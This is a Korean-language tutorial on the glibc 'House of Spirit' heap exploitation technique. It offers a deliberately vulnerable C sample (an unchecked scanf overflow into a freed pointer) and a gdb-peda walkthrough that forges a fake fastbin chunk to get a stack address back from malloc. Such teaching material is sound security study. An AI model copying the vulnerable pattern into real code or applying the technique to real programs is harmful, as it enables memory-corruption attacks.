Excuse the ads! We need some help to keep our site up.
List
The House of Spirit
Conditions
- 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
- 공격자에 의해 Allocated Fake chunk(FastBin) 형태를 생성할 수 있어야 합니다.
- 공격자에 의해 해당 영역(Fake chunk)의 주소를 Free() 함수의 인자 값으로 전달할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
- Stack 영역에 Fake chunk(FastBin) 구조를 저장합니다.
- Free()함수의 인자 값으로 Fake chunk의 주소를 전달합니다.
- Fake chunk(FastBin)의 크기와 같은 크기의 Heap영역을 할당 받습니다.
- 이때 할당 받은 영역은 Fake chunk(FastBin) 영역입니다.
Example
Files
Source code
Sample code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(){
unsigned long *ptr;
char fakeChunk[160];
printf("fakeChunk : %p\n",fakeChunk);
printf("ptr : %p\n",&ptr);
scanf("%176s",fakeChunk);
malloc(1000);
free(ptr);
char *stack = malloc(0x70);
char *test1 = malloc(0x70);
char *test2 = malloc(0x500);
printf("Stack : %p\n",stack);
}
Exploit flow
The House of Spirit
Debugging
- 다음과 같이 Break point를 설정합니다.
0x40067b - scanf() 함수 호출
0x400691 - free() 함수 호출
0x40069b - malloc() 함수 호출
Break points
gdb-peda$ b *0x000000000040067b Breakpoint 1 at 0x40067b gdb-peda$ b *0x0000000000400691 Breakpoint 2 at 0x400691 gdb-peda$ b *0x000000000040069b Breakpoint 3 at 0x40069b
- 아래와 같이 Stack 영역에 값을 입력 할 수 있습니다.
- 입력 값으로 'A' * 160 + 'B' * 8개를 입력했습니다.
Write the stack
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/heap/spirit fakeChunk : 0x7fffffffe1c0 ptr : 0x7fffffffe260 Breakpoint 1, 0x000000000040067b in main () gdb-peda$ x/22gx 0x7fffffffe1c0 0x7fffffffe1c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe1d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe1e0: 0x0000000000000000 0x00007ffff7ffe520 0x7fffffffe1f0: 0x00007fffffffe220 0x00007fffffffe210 0x7fffffffe200: 0x00000000f63d4e2e 0x0000000000400388 0x7fffffffe210: 0x00000000ffffffff 0x00007fffffffe378 0x7fffffffe220: 0x00007ffff7a211f8 0x00007ffff7ff74c0 0x7fffffffe230: 0x00007ffff7ffe1c8 0x0000000000000000 0x7fffffffe240: 0x0000000000000001 0x000000000040071d 0x7fffffffe250: 0x00007fffffffe280 0x0000000000000000 0x7fffffffe260: 0x00000000004006d0 0x0000000000400540 gdb-peda$ ni AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
- 아래와 같이 스택영역에 임의의 값을 저장할 수 있음을 확인인했습니다.
- gdb의 set 명령어를 이용해 Fake chunk 생성과 ptr영역의 값을 변경 합니다.
Fake chunk 영역(0x7fffffffe1c0 ~ 0x7fffffffe248) : Chunk size - 0x70, Top chunk - 0x1000
- ptr 영역(0x7fffffffe260) : 0x00007fffffffe1d0
- gdb의 set 명령어를 이용해 Fake chunk 생성과 ptr영역의 값을 변경 합니다.
Overwrite the fake chunk
0x0000000000400680 in main () gdb-peda$ x/22gx 0x7fffffffe1c0 0x7fffffffe1c0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1d0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141 0x7fffffffe200: 0x4141414141414141 0x4141414141414141 0x7fffffffe210: 0x4141414141414141 0x4141414141414141 0x7fffffffe220: 0x4141414141414141 0x4141414141414141 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x4141414141414141 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x4242424242424242 0x0000000000400500 gdb-peda$ set *0x7fffffffe1c8 = 0x80 gdb-peda$ set *0x7fffffffe1cc = 0x0 gdb-peda$ set *0x7fffffffe248 = 0x10000 gdb-peda$ set *0x7fffffffe24c = 0x0 gdb-peda$ set *0x7fffffffe260 = 0x7fffffffe1d0 gdb-peda$ set *0x7fffffffe264 = 0x7fff gdb-peda$ x/22gx 0x7fffffffe1c0 0x7fffffffe1c0: 0x4141414141414141 0x0000000000000080 0x7fffffffe1d0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141 0x7fffffffe200: 0x4141414141414141 0x4141414141414141 0x7fffffffe210: 0x4141414141414141 0x4141414141414141 0x7fffffffe220: 0x4141414141414141 0x4141414141414141 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x0000000000010000 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x00007fffffffe1d0 0x0000000000400500 gdb-peda$
- 아래와 같이 Fake chunk영역이 해제되어 해당 chunk가 "fastbinsY"에 등록되었습니다.
- "fastbinsY"에 등록된 fake chunk의 크기와 같은 값을 malloc()함수의 인자 값으로 전달 합니다.(malloc(0x70))
- malloc(0x70) 호출에 의해 fake chunk영역을 재할당 받았습니다.
- 그 다음 malloc() 호출해서 할당받은 영역은 정상적으로 Heap 영역에 할당되었습니다.
Allocated the fake chunk
Breakpoint 2, 0x0000000000400691 in main ()
gdb-peda$ i r rdi
rdi 0x7fffffffe1d0 0x7fffffffe1d0
gdb-peda$ p main_arena.fastbinsY
$3 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni
0x0000000000400696 in main ()
gdb-peda$ p main_arena.fastbinsY
$4 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7fffffffe1c0, 0x0, 0x0, 0x0}
gdb-peda$ c
Breakpoint 3, 0x000000000040069b in main ()
gdb-peda$ ni
0x00000000004006a0 in main ()
gdb-peda$ i r rax
rax 0x7fffffffe1d0 0x7fffffffe1d0
gdb-peda$ x/16gx 0x7fffffffe1d0
0x7fffffffe1d0: 0x0000000000000000 0x4141414141414141
0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141
0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141
0x7fffffffe200: 0x4141414141414141 0x4141414141414141
0x7fffffffe210: 0x4141414141414141 0x4141414141414141
0x7fffffffe220: 0x4141414141414141 0x4141414141414141
0x7fffffffe230: 0x4141414141414141 0x4141414141414141
0x7fffffffe240: 0x4141414141414141 0x0000000000010000
gdb-peda$ p main_arena.fastbinsY
$2 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ ni
...
gdb-peda$ i r rax
rax 0x602400 0x602400
gdb-peda$
Related information
- https://github.com/shellphish/how2heap
- https://gbmaster.wordpress.com/2015/07/21/x86-exploitation-101-house-of-spirit-friendly-stack-overflow/
